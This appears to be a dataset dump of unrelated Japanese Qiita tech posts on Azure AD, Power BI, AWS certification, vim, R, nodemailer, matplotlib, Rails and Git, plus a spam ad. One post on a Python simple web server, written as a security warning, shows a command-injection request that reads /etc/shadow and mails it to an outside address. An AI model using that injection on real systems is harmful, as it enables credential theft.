OmniAICreator/Qiita-1.07M huggingface dataset:
Azure AD Connect (AADC) のツリー ドメインと子ドメインの追加設定

AADC ではツリー ドメインと子ドメインの追加の方法が少し異なるので設定方法をまとめました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/475866/6d834d09-37e4-a939-4fb5-172e711744ca.png)

##ツリー ドメインの追加設定
AADC のセットアップ ウィザードを起動し、<b>”Connect your directories”</b> の画面まで進みます。
<b>“FOREST”</b> の項目に追加するツリー ドメイン名を入力し、<b>“Add Directory”</b> をクリックすれば OK です。

 設定後はセットアップ ウィザードから同期を促されるので、促されるまま同期処理をすれば完了です。後でご自身でフル同期を実施しても問題ありません。

<b>ディレクトリの接続</b>
https://docs.microsoft.com/ja-jp/azure/active-directory/hybrid/how-to-connect-install-custom#connect-your-directories
![pic19.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/475866/013d991e-3a92-7f31-6c07-e7b74a94a367.gif)



##子ドメインの追加設定
一方、子ドメインの追加では ”Connect your directories” の画面で追加する必要はありません。(追加しようとすると、エラーとなり登録できない)
子ドメインが追加された構成では、<b>“Domain and OU filtering”</b> の画面で、<b>"Refresh Ou/Domain"</b> を押下することで、子ドメインが追加で読み込まれるようになりますので、対象の子ドメインにチェックを入れれば OK です。
![pic20.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/475866/b4c7b49e-ef8d-9cad-e79b-74701940ba4b.gif)



ツリー ドメインの設定と、子ドメインの設定の違いですが、ドメイン コントローラーに読み取りを行う同期オブジェクトの作成に起因していると思われます。

子ドメインの場合は、親子関係のある親ドメインの追加が既に完了している状況となるため、親ドメイン用の書き込み用アカウントを使用して子ドメインに接続可能となります。
そのため、”Connect your directories” の画面でドメインを新たに追加して、ドメインに対する同期用 AD DS アカウントを作成する必要がない。

一方、ツリー ドメインの場合は、新規に同期用 AD DS 用アカウントを作成しないと、ツリー ドメインに読み取りにいくアカウントが存在しないため、”Connect your directories” の画面で新規アカウントを作成する必要があると考えます。

この画面です。詳しくは Microsoft の公開資料をご参照ください。
https://docs.microsoft.com/ja-jp/azure/active-directory/hybrid/how-to-connect-configure-ad-ds-connector-account
![pic21.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/475866/63333f38-5e5a-5e3d-a53b-a4f19108cae6.png)




####Synchronization Service Manager 上の表示を確認してみる
Synchronization Service Manager で追加したツリー ドメイン、子ドメインがどのように表示されるのかを確認しました。

<b>”Connectors”</b> タブを確認すると、AD DS は <b>"azu3.mydns.jp"</b> と <b>"azu3-3.mydns.jp"</b> の 2 つが確認できます。
子ドメインである <b>"sub.azu3.mydns.jp"</b> は AADC セットアップ ウィザードでコネクタとしては登録していないので、ここには表示されません。
![pic17.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/475866/a9fcfc34-fba5-bc35-973e-94d4db736e7d.png)


親ドメインである azu3.mydns.jp をクリックすると、下部左側に <b>Step 1</b> と <b>Step 2</b> が表示されています。ここに子ドメインの情報が記録されています。
<b>”× Step 2”</b> となっているのは、サーバーを停止させているためですので気にしないでください。
![pic18.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/475866/a55add56-83d3-5a7b-bb4b-a607cb240f50.png)
Power BIで複数のExcelシートを結合して読み込む

#はじめに
- Power BIのクエリーでExcelファイルを読み込むことができますが、シートが複数ある場合、シートごとにクエリーが作成されてしまいます。
- 年度ごとにシートが分割している場合など、ひとつのクエリーでまとめて読み込めると便利です。
- ここでは、複数のExcelシートを結合してひとつのテーブルを作成するクエリーを作成します。

#サンプルデータ
**Temparature.xlsx**
**シート:2018**

|日付|気温(℃)|
|:----|-----:|
|2018/1/1|8|
|2018/5/1|19|
|2018/8/1|29|

**シート:2019**

|日付|気温(℃)|
|:----|-----:|
|2019/1/1|8|
|2019/5/1|18|
|2019/8/1|27|

#Excelファイルの読み込みとシートの結合
1) Power BIメニュー 「データを取得」より、Excelを選択、Temparature.xlsxを開きます。
(ここでは、C:\temp\Temparature.xlsxとしています。）
2) ナビゲータ画面で、読み込むシートのうち一つだけ選択して、データの変換ボタンをクリックします。
3) クエリーの設定でソースを選択、Excel.Workbook()の2つ目のパラメータ(useHeadders)をTrueに変更します。
（これにより、シートの１行目を列名として読み込みます。）

| |Power query |
|:----:|:---|
|変更前|= Excel.Workbook(File.Contents("C:\temp\Temparature.xlsx"), null, true)|
|変更後|= Excel.Workbook(File.Contents("C:\temp\Temparature.xlsx"), true, true)|

4)  クエリーの設定でナビゲーションを選択し、Table.Combine()を用いて、複数シートを結合する処理に書き換えます。

| |Power query |
|:----:|:---|
|変更前|= ソース{[Item="2018",Kind="Sheet"]}[Data]|
|変更後|= Table.Combine({ ソース{[Item="2018",Kind="Sheet"]}[Data],ソース{[Item="2019",Kind="Sheet"]}[Data] })|
5) 昇格されたヘッダ数のステップは不要のため、削除します。
6) 必要に応じて、テーブル名を変更します。

![Excel_combine.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/329764/5772f35d-1b8e-1bc0-a0bb-9f0d0b7a3dba.gif)
#参考
- Power Query M formula language Excel.Workbook
https://docs.microsoft.com/en-us/powerquery-m/excel-workbook

- Power Query M formula language Table.Combine
https://docs.microsoft.com/en-us/powerquery-m/table-combine
AWS ソリューションアーキテクト アソシエイト合格までに勉強したこと

Qiita初投稿です。

もうすぐプログラマー歴２年になる、吉川と申します。
今年の目標として、AWSのアソシエイト3資格を取得する為に勉強してきましたが、2019/8/30にソリューションアーキテクト アソシエイト試験を受験して合格したので、その勉強方法を書いておきます。

## 試験の概要
[公式](https://aws.amazon.com/jp/certification/)より
![aws-qualification-list.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/206877/bf942618-a1f3-d0bb-3832-6b2fa0389acd.png)

全部で11個あるAWSの資格のうち、3個あるアソシエイトレベルの資格の一つ。
問題は複数の選択肢から一つを選択するもの、または複数選択するもの。
時間は130分間で、100～1000のスコアで評価され720が合格ライン。
Qiitaの記事も多いですし、AWSの資格試験で最初に受験する方も多い印象です。

## AWSの経験
案件でLambdaやEC2などの一部サービスを使用した経験があった程度。
一からAWSでインフラ構築とかの経験はありませんでした。


## 勉強に使用したもの
### [手を動かしながら2週間で学ぶ AWS 基本から応用まで(Udemy講座)](https://www.udemy.com/draft/1706378/)
**※2019/04/30で新規購入停止になっています。**
AWSの初学者向けの講座で、特別資格に対しての講座ではありませんでしたが、EC2、RDS、VPCをはじめとした、よく使われるサービスを学ぶことができました。
はじめはAWSに少し触れた経験がある程度で、勉強するにしてもどこから？という状態だったので、まず最初に受講してよかったと思います。
AWSの勉強はじめの頃って、知らない用語やサービス名が頻出して混乱すると思うのです…。講座に沿って進めれば混乱も少ないので助かりました。

### [Amazon Web Services 完全ソリューションガイド](https://www.amazon.co.jp/dp/B01N7M7IVS/ref=cm_sw_r_tw_dp_U_x_qcGADbSR1HDWG via @amazonJP)

「いまの時代、AWSでどのようにシステムを構築するか」をテーマにまとめられた本です。
インフラ、サーバ構築、システム管理などが解説されています。
少し情報が古くなっているところもありましたが、実際のAWSコンソール画面の写真や、図も多く、こういう事例ではこういった対応ができるといった形式で解説されていて、わかりやすかったです。


### [徹底攻略 AWS認定 ソリューションアーキテクト – アソシエイト教科書](https://www.amazon.co.jp/dp/4295005495/ref=cm_sw_r_tw_dp_U_x_jeGADbYBXNH16 via @amazonJP)
通称、黒本と呼ばれるシリーズの本です。
以前、Javaの資格勉強をしていたときも、このシリーズの問題集にとても助けられていたので、出版されると知って即購入することを決めました。
また、AWSの資格はこれまで対策本がほとんど出版されておらず、出版されているものも少し情報が古くなってきているということも購入の理由でした。

取り扱っているサービスも多く、サービスの概要から、高可用アーキテクチャ、パフォーマンス、セキュリティ設計、コスト最適化などが解説されています。また、模擬問題をダウンロードで提供しているので、購入の際はぜひ一度解いてみることをおすすめします。


### [AWS認定アソシエイト3資格対策~ソリューションアーキテクト、デベロッパー、SysOpsアドミニストレーター~](https://www.amazon.co.jp/dp/4865941991/ref=cm_sw_r_tw_dp_U_x_efGADbKKJDKPR via @amazonJP)
今までになかった、デベロッパー、SysOpsアドミニストレーターにも対応した本です。
自分はいずれ3資格とも取得する方向で考えていたので、出版されると知って即購入を決めました。

3資格分を解説しているとあって情報量も多いです。
コンピューティング、ネットワーキング、高可用性、ストレージ、データベース、セキュリティ、モニタリングと運用自動化、コスト最適化などが解説されており、上記の参考書には記載のなかったサービスの解説もありました。
試験の出題傾向も記載があったので、より効率よく勉強できたかと思います。

## やったこと
上記の講座受講と参考書を読んだ後、まず黒本についていた模擬問題を解いてみました。
その時の正答率は5割程度しかありませんでした...。

その後、黒本と3資格の本を何度も読みこみ、もう一度模擬問題を解くと正答率が7割を超えたので少し自信がつきました。
ただ、ネット上で受験できるAWSの模擬問題の方では6割程度の正答率だったため受験を迷いましたが、休職したり体調の面などで受験がずるずる後にずれていっていたため、思い切って受験したところ、8割を超えたスコアで無事合格することができました。

[AWS ホワイトペーパー](https://aws.amazon.com/jp/whitepapers/)や[AWS 活用資料集](https://aws.amazon.com/jp/aws-jp-introduction/)はほとんど見ませんでした。
もちろん見た方が理解が深まるとは思うのですが、量も多く見ていてつらくなってしまったのでやめました。AWSコンソールもほとんど触っていません。

当日受験会場に向かう道中では参考書も持参していましたが、緊張からか体調が悪く、読めるような状態じゃなかったです...。

## 試験を終えて
目標にしていた資格の一つだったので少しホッとしました。

勉強途中で他の勉強に移って中断したりしたので、勉強期間としては2か月～3か月でしょうか。
受験の記事を見ると2週間～1か月で合格した人もちらほら見かけて、すごいなと思います。
そんな短い期間で合格できるものなんですね...。

次はディベロッパー アソシエイトに挑戦したいところですが、今はひとまず自分を労って、落ち着いてからまた受験したいと思います。来年になってしまうかもしれませんが、ぜひまた挑戦したいです。
Pythonで簡易Webサーバーを作る

#最小構成

たったこれだけで、簡易のWebサーバーを立てることができます。
[SimpleHTTPRequestHandler](https://docs.python.org/2/library/simplehttpserver.html)を使用しています。

```python:web.py
import http.server
import socketserver

LISTEN_PORT = 8080

class ServerHandler(http.server.SimpleHTTPRequestHandler):

    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(b"<h1>It works!</h1>")

if __name__ == "__main__":
    HOST, PORT = '', LISTEN_PORT

    with socketserver.TCPServer((HOST, PORT), ServerHandler) as server:
        server.serve_forever()
```

`do_GET`のところにsubprocess等で好きなコマンドを書いてあげれば、HTTPリクエストをトリガーにして任意の処理を実行できます。
Dockerで簡易のコンテナ間通信を実装するのにも使えそうですね。

#注意点

###(!)そのままインターネットに公開しないこと

だいたい察しがつくとは思いますが、上記のように作ったサーバーをインターネットに公開してはいけません。
SimpleHTTPRequestHandlerのソースコードにもコメントで以下のように記載されています。

>SECURITY WARNING: DON'T USE THIS CODE UNLESS YOU ARE INSIDE A FIREWALL -- it may execute arbitrary Python code or external programs.

この簡易サーバーは場合によっては任意のPythonコードやプログラムを実行できてしまうため、外部に公開するのは非常に危険です。
LAN内やサーバー内部での通信に使うようにしましょう。

###任意のコマンドを実行できる例

以下のように、送られてきたリクエストの中身をログに書いていくプログラムを作ったとしましょう。
例えば`http://localhost:8080?msg=hello`と送ると`echo hello >> /somedir/message.log`が実行され、ログにhelloと書き込まれます。

```python:dangerous.py
import urllib.parse as urlparse

#省略(上記web.pyと同じ)

    def do_GET(self):
        parsedurl = urlparse.urlparse(url)
        message = urlparse.parse_qs(parsedurl.query)['msg']
        command = '/bin/echo ' + message + ' >> /somedir/message.log'
        subprocess.call(command, shell=True)
        
#省略(上記web.pyと同じ)
```

このサーバーを動かして、以下のようなリクエストを送ってみましょう。

```bash
$ wget "http://localhost:8080?msg=foobar%3Bcat%20%2Fetc%2Fshadow%20%7C%20mail%20someone%40somedomain.com"
```

`echo foobar; cat /etc/shadow | mail someonr@somedomain.com >> /somedir/message.log`が実行され、パスワードハッシュが外部に公開されてしまいます。

プログラムを工夫すれば安全なサーバーにできると思いますが、外部に公開する用途ならあれこれ考えるよりもおとなしくnginxやApacheを使った方が安全でしょう。
vimでのファイルエンコーディングまとめ（vim Tips）

#よく使う設定値

| | 設定項目 |省略形| 設定内容|
|:-----|:-----|:---------|:---------|
|ファイルエンコード| fileencoding   | **fenc**|utf-8 &#124; sjis &#124; cp932 &#124; euc-jp|
|改行コード| fileformat   | **ff**|dos &#124; mac &#124; unix|
|BOM（Unicode時）| bomb &#124; nobomb   | - | - |

#現在の状態確認
```
:se fenc ff
```
例：SJIS(CRLF)のファイル
![GS000308.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/364565/4e57c55d-a2eb-8d60-beac-1b42ff26669e.png)
![GS000309.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/364565/b5d0e935-9bd9-d203-f72e-0666b2dbb538.png)

#UTF-8(LF)に変換
```
:se fenc=utf-8 ff=unix
```
![GS000310.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/364565/8f7a0144-155e-27c4-952d-fbe4d8f61cef.png)

###変換結果確認
utf-8に変換したのでついでにBOM確認も含める
![GS000311.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/364565/779b63c5-7935-2216-a90d-166424e88d83.png)
![GS000312.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/364565/092b6405-2325-3135-2642-8e92259dfde6.png)
BOMはついていない

#BOMを付ける
```
:se bomb
```
※ BOMを取り除きたいときは **:set nobomb**
![GS000313.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/364565/9061b144-cc8e-e9d0-3c0a-ca78aaecdd2f.png)

### バイナリで確認してみる
```
:%!xxd
```
![GS000315.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/364565/9119d465-2f5b-121d-0080-5cac5ca89ad6.png)
![GS000316.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/364565/0dee9b54-9426-6f82-aeeb-719324f04d3e.png)
BOMが付いた

###戻す
```
:%!xxd -r
```
![GS000317.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/364565/b59356c1-f507-f004-4578-5e1d0d488b32.png)
![GS000318.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/364565/c948f37d-e9c6-0c5a-f9a0-9107142f86a6.png)

#その他
###指定したコードで開きなおす
```
:e ++enc=sjis
```
![GS000320.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/364565/75818b89-e4b5-213a-9d48-0b4888d356ae.png)
![GS000321.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/364565/abb7e9d6-81ae-1297-0c71-fde64d723731.png)

###変換不可で?になるのを考慮する場合
```
:e ++enc=sjis ++bad=keep
```
![GS000323.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/364565/123e18e1-5e97-d2b4-7955-aa753feef6db.png)
![GS000324.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/364565/f6e8d092-5889-fa62-fca0-d9a70fc5d3e4.png)
rails のCRUD処理について

rails new sample_app -sqlite3

cd sample_app

bundle exec rake db:create

controllers ディレクトリの中にusers_contoroller.rbを作る

route.rbの設定

rails g model users

migrateファイルにカラムの設定

bundle exec rake db:migrate  ここでデータベースがcreateされる

viewsディレクトリにusersフォルダを作成。そこにusers.html.erbを作成
Raspberry Pi Mouseを始めようかなと検討してみた

15年ほど前に[robo-one](http://www.robo-one.com/)などで二足ロボット作りを楽しんでいましたが、
ひさしぶりに何かつくろうかと思い、ハード作ってる時間と環境が今はちょっときびしいので[Raspberry Pi Mouse](https://www.rt-shop.jp/index.php?main_page=product_info&products_id=3419)がよさそうだなーとちょっと下調べしてみました。

ノートPCはUSBメモリからブートさせてUbuntuを使おうかなと。[インストール方法参考](http://robonchu.hatenablog.com/entry/2017/04/21/214130)
書き込み速度の速いメモリは[ここ](https://techblog.oscasierra.net/entry/2018/01/20/225427)の
サンディスクのUSBメモリを手配。インストールには、[OSには20GBくらい](http://robonchu.hatenablog.com/entry/2017/04/21/214130)で、
将来入れようかと考えている[Autowareは30GBくらい](https://qiita.com/yukkysaito/items/21a70ec6b07f1ca559cb)なので
USBメモリは128GBをチョイス。
他には、ラズパイのmicroSDHCカードのリーダライターは手持ちの[これ](https://www.elecom.co.jp/products/MR-SMC08BK.html)で対応できそう。webカメラも[手持ちのC310がラズパイで使えそう](https://iot-plus.net/make/raspi/get-photo-using-webcam-c310/)。
[RaspberryPi Mouseロボットの操作](https://www.koi.mashykom.com/Pimouse.html)



とりあえず今回の検討はここまで。
今後はRaspberry Pi Mouseの評判を調べてみよう。
Interior Designers in Cochin

Inside architects in Cochin make astounding insides for private homes and business houses at moderate rates. We execute stylishly astounding and practically engaging insides with 100% consumer loyalty. Our board of exceedingly experienced fashioners and innovative draftsmen shape your fantasies into reality at a reasonable cost. Our remarkable procedures change your home into your fantasy home.<a href="http://paulinteriors.in/">Interior designers in cochin</a> give the best working spot utilizing brilliant materials is redone to suit your taste and necessity. We pick best structure from a wide assortment of decisions. Our specialists tune in to your needs persistently and to place it in to reality through clever ways. At long last you can understand a one of a kind situation where you can invest heavily on it. This organization centers around making world class feeling and usefulness for homes, office spaces, corporate workplaces, and so forth. Inside creators in Cochin creation of the insides of your preferred places and guarantee on time venture conveyance.
Powershell を使用して Azure AD B2B ゲストユーザーを一括招待する

Azure AD B2B 機能を使用してゲストユーザーを招待する場合、通常は Azure ポータルから招待処理を行いますが、招待するユーザーが多い場合 Powershell を使用して一括で招待を行うのが効率的です。

以下の順番で実施していきます。
 
#####1. CSV を準備
下記の形式で CSV ファイルを作成します
InvitedUserEmailAddress … 招待されるユーザーの表示名を記載します 
InvitedUserDisplayName … 招待メールの届くメール アドレスを記載します
 
たとえばこんな感じです

```
InvitedUserEmailAddress,InvitedUserDisplayName 
guest01.sample.com,guest01 
guest02.sample.com,guest02 
guest03.sample.com,guest03 
```
 
#####2. Azure AD にグローバル管理者アカウントで接続します

``` powershell
Connect-AzureAD
```
 
#####3. 1. で用意した CSV ファイルのパスを指定して、以下のコマンドを実行します

``` powershell
$invitations = import-csv -Path "<CSV ファイルのパス>"
```

#####4. 招待処理のコマンドを実行します

```powershell
foreach ($email in $invitations) 
{
New-AzureADMSInvitation
 -InvitedUserEmailAddress $email.InvitedUserEmailAddress
 -InvitedUserDisplayName $email.InvitedUserDisplayName 
 -InviteRedirectUrl "https://portal.azure.com/招待を実施したテナントのドメイン名" 
 -SendInvitationMessage $false
}
```

``` powershell:設定例
foreach ($email in $invitations) 
{
New-AzureADMSInvitation -InvitedUserEmailAddress $email.InvitedUserEmailAddress -InvitedUserDisplayName $email.InvitedUserDisplayName -InviteRedirectUrl "https://portal.azure.com/test.onmicrosoft.com" -SendInvitationMessage $false
}
```

招待したユーザー宛に招待メールを送信したい場合は、<b>SendInvitationMessage</b> に <b>\$true</b> を指定します。$false を指定するとメールは送信されません。
 
#####5. 招待されたユーザーは招待先テナントのリソースのURL にアクセスします。
https://portal.azure.com/<招待を実施したテナントのドメイン名>
*招待メールを受信している場合は、招待メールのリンクをクリックします


#####6. アクセス許可の確認画面が表示されますので、承諾 をクリックして招待プロセスが完了します。
 
 
<参考情報>
<b>Azure AD B2B におけるユーザーの新しい招待方法</b>
https://blogs.technet.microsoft.com/jpazureid/2018/05/23/azure-ad-b2b-new/　
 
<b>Azure portal でディレクトリにゲスト ユーザーを追加する</b>
https://docs.microsoft.com/ja-jp/azure/active-directory/b2b/b2b-quickstart-add-guest-users-portal
 
<b>PowerShell を使用してゲスト ユーザーを追加する</b>
https://docs.microsoft.com/ja-jp/azure/active-directory/b2b/b2b-quickstart-invite-powershell
RでNAを含む列を削除する手段

備忘録です。

下記のようなデータフレームがあった際に、**NAを含む列を削除したい**思いに駆られることがあることが多い可能性が高いかもしれません。
（下記の場合はA,C列）

```
data <- data.frame(id = seq(1, 5, 1),
                   A = c(11, 12, NA, 14, 15),
                   B = c(21, 22, 23, 24, 25),
                   C = c(31, NA, 33, 34, 35))
```

| id | A | B | C |
|:-:|:-:|:-:|:-:|
| 1  | 11  | 21  | 31  |
| 2  | 12  | 22  | NA  |
| 3  | NA  | 23  | 33  |
| 4  | 14  | 24  | 34  |
| 5  | 15  | 25  | 35  |


その際に、**dplyrを利用して削除する方法**を記載します。

方法の大まかな流れは下記のとおりです。

1. NAを含む列の名前を取得する
2. 取得した列名を利用して、元のデータフレームからNAを含む列を削除する


# 事前準備
```
#パッケージ読み込み
library(dplyr)
#データフレーム作成
data <- data.frame(id = seq(1, 5, 1),
                   A = c(11, 12, NA, 14, 15),
                   B = c(21, 22, 23, 24, 25),
                   C = c(31, NA, 33, 34, 35))

```

# NAを含む列の名前を取得する

```
NA_colnames <-data %>%
  select_if(function(x) any(is.na(x))) %>%
  colnames()

NA_colnames
```

結果は下記です。
> NA_colnames
> [1] "A" "C"

**select_if内でfunction(x)を利用する**のがポイントです。

ここまでくれば後はイージーですね。

# 取得した列名を利用して、元のデータフレームからNAを含む列を削除する

```
data_without_NA <- data %>%
  select(-NA_colnames)

data_without_NA
```
結果は下記です。

| id | B |
|:-:|:-:|
| 1 | 21  |
| 2 | 22  |
| 3 | 23  |
| 4 | 24  |
| 5 | 25  |


正直、これ以外にもスマートな方法があるかもしれないので、ご存じの方がいたらご教示いただきたいです。
nodemailerにて引数の引き渡しをする。

##　はじめに

申し込みなどがあった場合に、入力された情報をそのまま反映させてメールを送る実装が試したら、
とても詰まったのでここに残します。

### 設定
申し込み画面から申し込みがあった場合、
自動的に申込み者と、管理者に入力情報が記載されたメールを送る。

開発環境
- Node.js 11.15.0	

使ったライブラリ

- nodemailer
- mutache
htmlなど静的ページに変数を引き渡せるライブラリ。
jQueryなどで利用するみたい。

- fs
node.jsお馴染みのファイル関連ライブリ。
HTMLの読み込みに利用しました。
- dotenv
今回の主題では無いですが、パスワードを環境変数で管理するために
利用しています。

使ったメールツール
- outlook

```js
const nodemailer = require('nodemailer');
const dotenv = require('dotenv');
const Mustache = require('mustache');
const fs = require('fs');

dotenv.config({ path: '.env' })

// メールのセキュリティ設定。
// 送信に利用するメールの情報を記載。

const transporter = nodemailer.createTransport({
  host: 'smtp-mail.outlook.com',
  port: 587,
  tls: {
    ciphers: 'SSLv3',
  },
  auth: {
    user: 'hoge@sample.jp',
    pass: process.env.EMAIL_PASS,
  },
});

const readFileContent = (file) => {
  return new Promise((resolve, reject) => {
    fs.readFile(
      file,
      {
        encoding: 'utf8',
      },
      (error, data) => {
        if (error !== null) {
          reject(error);
          return;
        }
        resolve(data);
      },
    );
  });
};

const applicationEmail = async (number, name) => {
  const template = await 
// PATHは相対ではなく絶対パス。JSでは無いため。
// promise を利用しているのでasync/awaitが必要。
handleFile.readFileContent('./email/hello.html');
 //公式のより簡略させる書き方。
  Mustache.parse(template);
  const noticeData = {
    number,
    name,
  };
  const renderApplicationEmail = Mustache.render(template, noticeData);
  //スコープ外で値を引き渡す用
  return renderApplicationEmail;
};

const noticeEmail = async (number, name, eMail) => {
  const template = await handleFile.readFileContent('./email/notice.html');
  Mustache.parse(template);
  const applicationData = {
    number,
    name,
    eMail,
  };
  const renderNoticeEmail = Mustache.render(template, applicationData);
  return renderNoticeEmail;
};

// メールを送信する関数
const sendCompletionMail = async (number, name, eMail) => {
  try {
    const applicationCompleted = await applicationEmail(number, name);
    transporter.sendMail({
      from: 'hoge@sample.jp',
      to: eMail,
      subject: 'お申し込みありがとうございます。',
      html: applicationCompleted,
    });
    const noticeApplication = await noticeEmail(serialNumber, companyName, familyName, eMail, telephone);
    transporter.sendMail({
      from: 'hoge@sample.jp',
      to: 'poke@sample.jp',
      subject: '申込通知。',
      html: noticeApplication,
    });
    console.log('send successful');
  } catch (error) {
    console.log('Error', error);
  }
};


  sendCompletionMail();



```


```hello.html

<!DOCTYPE HTML>
<html>
<body>
  <p>
    Dear {{name}},
  </p>
  <p>
    Thank you for purchasing our product.
  </p>
</body>
</html>

```

```notice.html

<!DOCTYPE HTML>
<html>
<body>
  <p>
     {{name}} applied.
  </p>
  <p>
    Take contact to {{email}}
  </p>
</body>
</html>

```

わざわざ
`applicationEmail()`という関数を作らなくとも、
`sendCompletionMail`内に書き込み、
`html: renderApplicationEmail`
にしても良いですが、複数定義の場合は可読性を優先して書きました。

##　参考

##　参考

・https://nodemailer.com/message/
・https://github.com/janl/mustache.js/
・https://nodejs.org/api/fs.html
備忘録 Matplotlibのグラフの見た目の調整

# はじめに
グラフ作成ソフトのSMA4をよく使用していましたが，最近はJupyter notebookとMatplotlibを使用してグラフを描いています．便利で良いのですが，デフォルトのままだとだいぶ見た目が異なります．そこで見た目を調整する方法を忘れないように記録しておきます．

# 参考
以下を参考にさせていただきました．
[自分用メモ: matplotlibを使ったグラフの調整](https://qiita.com/hysterect/items/67c94a62ae0a0c258449)

# グラフの調整
```python:graph_params:
import matplotlib.pyplot as plt

plt.rcParams["font.family"] = "Times New Roman"      #全体のフォントを設定
plt.rcParams["xtick.direction"] = "in"               #x軸の目盛線を内向きへ
plt.rcParams["ytick.direction"] = "in"               #y軸の目盛線を内向きへ
plt.rcParams["xtick.minor.visible"] = True           #x軸補助目盛りの追加
plt.rcParams["ytick.minor.visible"] = True           #y軸補助目盛りの追加
plt.rcParams["xtick.major.width"] = 1.5              #x軸主目盛り線の線幅
plt.rcParams["ytick.major.width"] = 1.5              #y軸主目盛り線の線幅
plt.rcParams["xtick.minor.width"] = 1.0              #x軸補助目盛り線の線幅
plt.rcParams["ytick.minor.width"] = 1.0              #y軸補助目盛り線の線幅
plt.rcParams["xtick.major.size"] = 10                #x軸主目盛り線の長さ
plt.rcParams["ytick.major.size"] = 10                #y軸主目盛り線の長さ
plt.rcParams["xtick.minor.size"] = 5                 #x軸補助目盛り線の長さ
plt.rcParams["ytick.minor.size"] = 5                 #y軸補助目盛り線の長さ
plt.rcParams["font.size"] = 14                       #フォントの大きさ
plt.rcParams["axes.linewidth"] = 1.5                 #囲みの太さ
```

# 結果
こんな感じになります．
![2019_0831_matplotlibグラフサンプル.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/455608/3356f0c8-9df1-c0b1-f13b-ce3502153f7d.png)
プログラミング初心独学者が「写経：模写コーディング」に挑んだら、、、挫せt…

はいどうも、Hiroyukiです！

今日も、僕のポートフォリオを紹介します！！


今もまだまだプログラミング学習歴は浅いんですが、プログラミングを勉強し出して
２ヶ月目くらいに、「写経」とも言われる

###模写コーディング

に挑戦しましたので、その時つくった実際の作品と、つくる過程の話をします。

タイトルに、「挫せt…」とありますが、取り組んでて挫折ギリギリまで行ったので、
教訓として読んで頂ければ幸いです。

<img width="1194" alt="スクリーンショット 2019-08-31 15.21.37.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/489124/0c0b9ade-6ebd-65ac-cd67-3a8d3cf9d7b1.png">

###・airbnb 模写LP 1
 **https://r4.quicca.com/~douraku/pass1.html**
　　※参考元公式サイト：https://www.airbnb.jp/gift

###・airbnb 模写LP 2
 **https://r4.quicca.com/~douraku/pass2.html**
　　※参考元公式サイト：https://www.airbnb.jp/host/homes



エアビさんのLPを真似してつくったということです。
PCスマホ両対応の、**レスポンシブデザイン**でつくってます。

厳密に言うと、「写経」ではなく、
（よっぽど分からない時以外は）元のページのソースコードは見ずに、自分でサイトの作りを想像して
作り方をググりながら、（見た目だけは）ほぼ同等のページを作り上げました。

自分の基礎レベル上げのために、
####「フロントエンドを極めるぞぉおおおおお！！」
って気持ちで、模写コーディングに挑戦したんですが、やってみると

###「HTML・CSSだけで、こんなに奥深いの！？？
###　まだサーバー側とかノータッチなのに、、、オワタ・・・orz」

と、自分のできなさに呆然としたのを覚えています。



そもそもが、プログラミングを「**極める**」という発想の出発点自体がたぶん間違いなので、
途中でそれに気付き、「**多少分からなくても取りあえず進める**」という考えに切り換えて、
なんとか挫折ギリギリのところで持ち堪え、完成にたどり着きました。


要は
####「特に初学者は、完璧主義は捨てないといけない」
という、あるあるネタなのでした（汗

#####・・・にしては、今見ると、レスポンシブデザイン含め、なかなか詳細に原本を再現してるなと
#####以前の自分に少し感心しました（笑
ニコニコ動画ダウンロード

# ffmpeg, youtube-dl インストール
- https://ffmpeg.org/
- https://github.com/ytdl-org/youtube-dl

# コマンド実行
```
# youtube-dl -o 出力先mp4ファイル名 -i -f mp4 --add-metadata ニコニコ動画のURL
```
Railsにおける「単数形」と「複数形」の使い分けについて

まず、Railsは基本的に **言語的慣習に従っている** ということを頭にとどめておきましょう。

## モデルとコントローラ
そこで、なぜモデルは単数形でコントローラは複数形なのかについて考えてみましょう
モデルはそのモデルから作られるインスタンスの __青写真__ のようなものです。 
一方でコントローラはそのモデルから作られたインスタンス全てをコントロールするためのものです。   

例を挙げるとすると、Personモデルというモデルがあるとします。
このPersonモデルは、このモデルから生成(Person.new)される各々のインスタンスに _共通する_ 「インスタンスの青写真」です。
そしてPersonモデルから作られたすべてのインスタンス(Person.newの集合)をコントロールするのですから、コントローラは、**people** controllerになるべきです。


## パスのプレフィックス
Prefixの単数形/複数形の違いについても 、言語的慣習の面で考えてみれば、

```
blogs      GET    /blogs(.:format)           blogs#index   → ブログのコレクション(blogs)を取得(GET)する
blogs      POST   /blogs(.:format)           blogs#create  → そのコレクション(blogs)に追加(POST)する
new_blog   GET    /blogs/new(.:format)       blogs#new     → blogを作る画面を出す
edit_blog  GET    /blogs/:id/edit(.:format)  blogs#edit    → 特定のblogを編集する画面を出す
     : 
     : 
  (省略) 
```
のように、単数形/複数形の区別が腹落ちするかと思います。
【備忘録】Gitのインストールからリポジトリ作成までやってみる


## Git インストール
下記コマンドでGitをインストールする。

```terminal:command
sudo apt-get install git
```

インストールが正常に完了したか確認します。

```terminal:command
git --version
```
